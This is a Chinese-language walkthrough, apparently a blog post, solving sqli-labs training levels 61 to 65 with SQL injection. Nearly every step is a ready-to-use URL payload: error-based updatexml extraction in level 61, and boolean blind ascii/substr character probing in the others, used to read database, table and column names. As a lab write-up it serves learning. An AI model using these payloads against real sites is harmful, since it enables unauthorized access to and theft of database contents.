sqli-labs靶场通关攻略(61-65)

Less-61

步骤一:查看数据库

?id=1')) and updatexml(1,concat(1,(select database())),1)--+

步骤二:查看表名

?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤三:查看users表中列名

?id=1')) and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

Less-62

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1') and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1') and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

Less-63

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1' and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1' and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

Less-64

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1)) and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1)) and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

Less-65

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1") and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1") and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

  • 17
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值